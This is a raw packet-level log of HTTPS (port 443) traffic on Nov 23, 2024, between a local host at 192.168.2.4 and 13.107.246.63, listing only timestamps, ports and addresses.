Nov 23, 2024 21:11:28.338244915 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.338260889 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.338313103 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.338330030 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.338346004 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.338386059 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.339116096 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.339131117 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.339657068 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.339736938 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.339756012 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.339773893 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.339787960 CET	49754	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.339813948 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.339824915 CET	49754	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.339832067 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.339862108 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.339863062 CET	49754	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.339879990 CET	49754	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.339911938 CET	49754	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.339973927 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.340120077 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.340164900 CET	49754	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.342376947 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.342421055 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.342475891 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.343014002 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.343031883 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.343549967 CET	49754	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.343571901 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.345928907 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.345973015 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.346030951 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.346216917 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.346231937 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.360436916 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.360507011 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.360697985 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.360709906 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.360759020 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.366908073 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.366981983 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.367933035 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.368010998 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.368035078 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.368058920 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.368072987 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.368108034 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.406626940 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.406685114 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.406786919 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.406800032 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.406821012 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.433211088 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.433275938 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.433357000 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.433370113 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.433402061 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.433420897 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.470186949 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.470247030 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.470271111 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.470279932 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.470314980 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.470321894 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.496120930 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.496208906 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.496242046 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.496268034 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.496279001 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.496305943 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.528640985 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.528690100 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.528713942 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.528738022 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.528750896 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.528776884 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.545931101 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.545980930 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.546010971 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.546046972 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.546062946 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.546082973 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.560173035 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.560220003 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.560267925 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.560306072 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.560317039 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.560345888 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.566706896 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.566766977 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.566812038 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.566833973 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.566847086 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.566870928 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.573096991 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.573184013 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.587449074 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.587496996 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.587584972 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.587611914 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.587642908 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.587655067 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.595772982 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.595829964 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.595890045 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.595917940 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.595931053 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.612669945 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.612699032 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.612740993 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.612761021 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.612783909 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.624916077 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.624934912 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.625009060 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.625025988 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.634406090 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.634450912 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.634506941 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.634530067 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.634541035 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.634577036 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.645971060 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.646023989 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.646075010 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.646081924 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.646117926 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.646133900 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.656610012 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.656667948 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.656687975 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.656725883 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.656744003 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.656771898 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.656781912 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.656793118 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.656816006 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.656820059 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.656862974 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.656914949 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.656961918 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.658729076 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.658747911 CET	443	49757	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.658762932 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.658807993 CET	49757	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.658996105 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.659045935 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.659075975 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.659080982 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.659107924 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.659218073 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.659270048 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.660759926 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.660773039 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.705950022 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.706016064 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.706110954 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.706159115 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.706178904 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.706196070 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.727615118 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.727669001 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.727787018 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.727799892 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.727811098 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.727844000 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.735388041 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.735450029 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.735512018 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.735521078 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.735541105 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.735616922 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.735668898 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.736342907 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.736355066 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.885909081 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.885963917 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:28.886029959 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.886257887 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:28.886279106 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:29.887017012 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:29.938086033 CET	49759	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:29.954397917 CET	49759	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:29.954415083 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:29.954933882 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:29.956069946 CET	49759	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:29.956152916 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:29.956242085 CET	49759	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.003321886 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.073374987 CET	443	49760	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.076921940 CET	49760	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.076951981 CET	443	49760	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.077373981 CET	443	49760	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.121517897 CET	49760	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.153614998 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.195259094 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.204612970 CET	49760	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.204804897 CET	443	49760	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.210884094 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.210911036 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.212135077 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.212203026 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.215770006 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.245258093 CET	49760	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.257422924 CET	49760	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.257858038 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.257949114 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.258342981 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.258488894 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.258639097 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.258673906 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.261122942 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.261208057 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.261615992 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.261730909 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.261735916 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.261801004 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.303344011 CET	443	49760	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.312973976 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.313119888 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.313133001 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.361210108 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.639097929 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.639403105 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.639431953 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.642110109 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.642193079 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.642522097 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.642591953 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.642656088 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.642668009 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.689858913 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.722146034 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.722174883 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.722181082 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.722208023 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.722343922 CET	49759	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.722352982 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.722390890 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.722409964 CET	49759	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.722409964 CET	49759	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.722443104 CET	49759	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.879522085 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.879611969 CET	49759	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.879638910 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.879761934 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.880114079 CET	49759	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.880126953 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.880146027 CET	49759	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.928747892 CET	443	49760	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.928774118 CET	443	49760	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.928781986 CET	443	49760	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.928848028 CET	49760	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.928896904 CET	443	49760	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.932812929 CET	443	49760	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.932908058 CET	49760	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.935348988 CET	49760	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.935381889 CET	443	49760	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.947932005 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.947983980 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.948362112 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.949435949 CET	49765	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.949449062 CET	443	49765	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.950824022 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.950870037 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.951040983 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.956146955 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.956162930 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.962582111 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.962620020 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.962677956 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.963304996 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.963351011 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.963444948 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.964399099 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.964416027 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.964700937 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.964720011 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.971970081 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.971992970 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.972001076 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.972019911 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.972033978 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.972040892 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.972064972 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.972096920 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:30.972115993 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:30.972142935 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.000508070 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.000533104 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.000607967 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.000612020 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.001214981 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.002161026 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.002178907 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.004281998 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.004322052 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.004437923 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.004785061 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.004796982 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.129539013 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.129607916 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.129704952 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.129725933 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.129757881 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.130014896 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.130032063 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.130043030 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.130386114 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.130407095 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.156126976 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.156150103 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.156204939 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.156239033 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.156255007 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.156327009 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.163116932 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.163184881 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.163222075 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.163264990 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.163280964 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.163301945 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.163348913 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.163348913 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.163353920 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.163491964 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.194765091 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.194823027 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.194854021 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.194870949 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.194895983 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.194910049 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.211905956 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.211940050 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.212701082 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.212760925 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 21:11:31.212869883 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.213499069 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:11:31.213517904 CET	443	49775	13.107.246.63	192.168.2.4
